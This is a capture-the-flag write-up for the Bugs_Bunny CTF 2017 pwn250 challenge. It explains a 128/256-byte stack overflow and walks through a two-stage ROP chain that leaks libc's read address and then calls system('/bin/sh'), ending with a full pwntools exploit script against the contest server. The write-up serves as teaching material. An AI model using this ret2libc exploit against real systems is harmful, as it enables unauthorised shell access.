Bugs_Bunny CTF 2017 - pwn250
This was a pretty standard, stack-based overflow. You can download the file here.
Through file
and checksec
we see that it’s a 64-bit ELF non-stripped binary, dynamically linked, compiled with only the NX
mitigation:
$ file ./pwn250
./pwn250: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b92b9ef9aa21452b83be93778ed175c6c37de92d, not stripped
$ checksec ./pwn250
[*] './pwn250'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we open the binary with IDA, we see from the pseudocode that it’s a quite simple binary:
int main(int argc, const char **argv, const char **envp)
{
here();
write(1, "Hello, World\n", 13);
return 0;
}
ssize_t here()
{
char buf[128];
return read(0, buf, 256);
}
The vulnerability is clear: there is a read
call that reads 256 bytes from standard input and writes them in a variable that can contain 128 bytes.
There is NX so we cannot inject and execute shellcode directly. Our strategy then is to create a small ROP chain to call system
and execute a shell.
First we need to gather the address of system
from libc
, and find an address that points to /bin/sh
. Since the binary is not PIE, we can use one of the functions imported from libc to leak their address. Our target is read
.
In order to do this we can use the write
to print the address of read
. The organizers were kind enough to leave a function called foryou
with a great gadget:
.text:0000000000400566 foryou proc near
.text:0000000000400566 push rbp
.text:0000000000400567 mov rbp, rsp
.text:000000000040056A pop rdi
.text:000000000040056B pop rsi
.text:000000000040056C pop rdx
.text:000000000040056D retn
We can use this gadget to prepare the registers before the call to write
. Our payload/ROP chain to leak the address of read
looks like this:
payload = ""
payload += "A" * 128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400567) # mov rbp, rsp; pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1) # rdi
payload += p64(0x601020) # rsi - address of read
payload += p64(0x10) # rdx - number of bytes to write
payload += p64(0x400430) # address of write
payload += p64(0x4005A6) # jump back to here
One thing to keep in mind: we include the mov rbp, rsp
in the ROP chain because if rbp
contains an invalid address, the subsequent leave
would fail and the program would crash. With the mov
we make sure that rbp
points to a valid address.
After using the gadget to populate the registers, we call write
and when it returns we go back to the function here
where we can send our second payload to get the shell.
Once we get the address of read
, we can calculate the base address for libc
(which was provided), and consequently the address of system
and of the string /bin/sh
in the binary.
Our second payload looks like this:
payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400633) # pop rdi; ret;
payload += p64(sh_address) # rdi
payload += p64(system_address)
This second payload first pops the address of /bin/sh
into rdi
and then executes system
.
The full exploit code is below. Sorry guys, I forgot to save the flag :P
from pwn import *
local = 0
if local:
p = process("./pwn250")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("54.153.19.139", 5255)
libc = ELF("./libc.so")
payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400567) # mov rbp, rsp; pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1) # rdi - standard output
payload += p64(0x601020) # rsi - address of read
payload += p64(0x10) # rdx - number of bytes to write
payload += p64(0x400430) # address of write
payload += p64(0x4005A6) # jump back to here
p.sendline(payload)
leak_addr = u64(p.recv(8))
libc_base_addr = leak_addr - libc.symbols['read']
system_address = libc_base_addr + libc.symbols['system']
sh_address = libc_base_addr + next(libc.search("/bin/sh\x00"))
log.info("libc_base_addr @ {:08x}".format(libc_base_addr))
payload = ""
payload += "A"*128
payload += p64(0xcafebabe) # RBP
payload += p64(0x400633) # pop rdi; ret;
payload += p64(sh_address) # rdi
payload += p64(system_address)
p.sendline(payload)
p.sendline("uname -a && id")
p.interactive()